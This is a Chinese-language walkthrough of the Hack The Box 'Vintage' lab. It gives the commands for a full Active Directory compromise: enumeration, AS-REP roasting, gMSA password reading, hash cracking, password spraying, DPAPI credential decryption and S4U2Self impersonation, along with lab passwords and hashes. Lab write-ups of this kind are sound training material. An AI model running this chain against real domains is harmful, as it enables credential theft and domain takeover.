域渗透实战之HTB-Vintage
字数 1142 2025-08-22 12:23:06

HTB-Vintage域渗透实战教学文档

初始信息

  • 初始凭据: P.Rosa / Rosaisbest123
  • 目标IP: 10.10.11.45
  • 域名: vintage.htb

信息收集阶段

端口扫描

  1. 快速扫描开放端口:
nmap -sT --min-rate 10000 -p- 10.10.11.45 -oA nmapscan/port
  1. 详细扫描开放端口:
grep open nmapscan/port.nmap | awk -F'/' '{print $1}' | paste -sd , | xargs nmap -sTVC -O -p

发现开放端口: 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389等

LDAP服务枚举

  1. 基础信息收集:
ldapsearch -H ldap://10.10.11.45 -D "P.Rosa@vintage.htb" -w "Rosaisbest123" -b '' -s base "(objectclass=user)"

发现ldapServiceName: vintage.htb:dc01$@VINTAGE.HTB,将其添加到/etc/hosts

  1. 使用Windapsearch枚举用户:
python3 windapsearch.py --dc-ip 10.10.11.45 -u P.Rosa@vintage.htb -p Rosaisbest123 -U

获取用户列表:

Administrator
Guest
krbtgt
M.Rossi
R.Verdi
L.Bianchi
G.Viola
C.Neri
P.Rosa
svc_sql
svc_ldap
svc_ark
C.Neri_adm
L.Bianchi_adm

SMB服务利用

  1. 尝试Kerberos认证:
impacket-getTGT vintage.htb/P.Rosa:'Rosaisbest123' -dc-ip 10.10.11.45
export KRB5CCNAME=P.Rosa.ccache
  1. 解决时间同步问题:
sudo timedatectl set-ntp off
sudo rdate -n vintage.htb
  1. 枚举RID:
netexec smb dc01.vintage.htb -d vintage.htb -k --use-kcache --rid-brute

Kerberos攻击

  1. AS-REP Roasting攻击:
impacket-GetNPUsers -dc-ip 10.10.11.45 -no-pass -request -usersfile user_list vintage.htb/

Bloodhound分析

  1. 收集数据:
bloodhound-python -c All -u P.Rosa -p Rosaisbest123 -ns 10.10.11.45 -d vintage.htb -dc dc01.vintage.htb --zip
  1. 启动Bloodhound分析:
sudo neo4j restart
bloodhound

发现FS01属于WINDOWS 2000 Compatible Access组,可作为突破点

Pre2k枚举

  1. 使用pre2k枚举有效用户:
python3 pre2k.py unauth -d vintage.htb -dc-ip dc01.vintage.htb -inputfile user_list

发现FS01$用户

  1. 获取FS01$的TGT:
impacket-getTGT vintage.htb/FS01$:fs01
export KRB5CCNAME=FS01\$.ccache

域内关系利用

  1. 通过FS01$读取GMSA01密码:
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k get object 'GMSA01$' --attr msDS-ManagedPassword
  1. 获取GMSA01$的NTLM哈希:
impacket-getTGT vintage.htb/GMSA01$ -hashes aad3b435b51404eeaad3b435b51404ee:a317f224b45046c1446372c4dc06ae53
export KRB5CCNAME=GMSA01\$.ccache
  1. 将GMSA01$加入SERVICEMANAGERS组:
bloodyAD --host dc01.vintage.htb -d "vintage.htb" --dc-ip 10.10.11.45 -k add groupMember "SERVICEMANAGERS" "GMSA01$"
  1. 禁用svc_sql的预认证:
bloodyAD --host dc01.vintage.htb -d "vintage.htb" --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE
  1. 再次AS-REP Roasting获取svc_sql的哈希:
impacket-GetNPUsers -dc-ip 10.10.11.45 -no-pass -request -usersfile user_list vintage.htb/
  1. 使用john破解哈希:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

获得密码: Zer0the0ne

密码喷洒攻击

./kerbrute_linux_amd64 passwordspray --dc 10.10.11.45 -d vintage.htb user_list Zer0the0ne

发现C.Neri:Zer0the0nesvc_sql:Zer0the0ne有效

DPAPI凭证提取

  1. 查找主密钥:
Get-ChildItem -Force C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Force C:\Users\C.Neri\AppData\Local\Microsoft\Protect\
  1. 查找凭证文件:
Get-ChildItem -Force C:\Users\C.Neri\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Force C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\
  1. 解密主密钥:
impacket-dpapi masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0the0ne
  1. 解密凭证:
impacket-dpapi credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a

获得凭据: c.neri_adm:Uncr4ck4bl3P4ssW0rd0312

S4U2SELF提权

  1. 查看svc_sql的SPN:
Get-ADUser -Identity svc_sql -Properties ServicePrincipalNames
  1. 添加SPN:
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k set object "SVC_SQL" servicePrincipalName -v "cifs/test"
  1. 将svc_sql加入DELEGATEDADMINS组:
bloodyAD --host dc01.vintage.htb --dc-ip 10.10.11.45 -d "VINTAGE.HTB" -u c.neri_adm -p 'Uncr4ck4bl3P4ssW0rd0312' -k add groupMember "DELEGATEDADMINS" "SVC_SQL"
  1. 获取L.BIANCHI_ADM的票据:
impacket-getST -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k 'vintage.htb/svc_sql:Zer0the0ne'
  1. 使用票据执行命令:
impacket-wmiexec -k -no-pass VINTAGE.HTB/L.BIANCHI_ADM@dc01.vintage.htb

总结

本渗透测试通过以下关键路径完成:

  1. 初始凭据P.Rosa/Rosaisbest123
  2. 发现FS01$用户并获取其TGT
  3. 利用FS01\(读取GMSA01\)密码
  4. 通过GMSA01$控制SERVICEMANAGERS组
  5. 禁用svc_sql预认证并获取其哈希
  6. 密码喷洒获取C.Neri凭据
  7. DPAPI提取c.neri_adm凭据
  8. S4U2SELF模拟L.BIANCHI_ADM获取域控权限

关键工具:

  • impacket套件
  • Windapsearch
  • Bloodhound
  • bloodyAD
  • Kerbrute
  • DPAPI工具
HTB-Vintage域渗透实战教学文档 初始信息 初始凭据: P.Rosa / Rosaisbest123 目标IP: 10.10.11.45 域名: vintage.htb 信息收集阶段 端口扫描 快速扫描开放端口: 详细扫描开放端口: 发现开放端口: 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389等 LDAP服务枚举 基础信息收集: 发现 ldapServiceName: vintage.htb:dc01$@VINTAGE.HTB ,将其添加到 /etc/hosts 使用Windapsearch枚举用户: 获取用户列表: SMB服务利用 尝试Kerberos认证: 解决时间同步问题: 枚举RID: Kerberos攻击 AS-REP Roasting攻击: Bloodhound分析 收集数据: 启动Bloodhound分析: 发现 FS01 属于 WINDOWS 2000 Compatible Access 组,可作为突破点 Pre2k枚举 使用pre2k枚举有效用户: 发现 FS01$ 用户 获取FS01$的TGT: 域内关系利用 通过FS01$读取GMSA01密码: 获取GMSA01$的NTLM哈希: 将GMSA01$加入SERVICEMANAGERS组: 禁用svc_ sql的预认证: 再次AS-REP Roasting获取svc_ sql的哈希: 使用john破解哈希: 获得密码: Zer0the0ne 密码喷洒攻击 发现 C.Neri:Zer0the0ne 和 svc_sql:Zer0the0ne 有效 DPAPI凭证提取 查找主密钥: 查找凭证文件: 解密主密钥: 解密凭证: 获得凭据: c.neri_adm:Uncr4ck4bl3P4ssW0rd0312 S4U2SELF提权 查看svc_ sql的SPN: 添加SPN: 将svc_ sql加入DELEGATEDADMINS组: 获取L.BIANCHI_ ADM的票据: 使用票据执行命令: 总结 本渗透测试通过以下关键路径完成: 初始凭据P.Rosa/Rosaisbest123 发现FS01$用户并获取其TGT 利用FS01$读取GMSA01$密码 通过GMSA01$控制SERVICEMANAGERS组 禁用svc_ sql预认证并获取其哈希 密码喷洒获取C.Neri凭据 DPAPI提取c.neri_ adm凭据 S4U2SELF模拟L.BIANCHI_ ADM获取域控权限 关键工具: impacket套件 Windapsearch Bloodhound bloodyAD Kerbrute DPAPI工具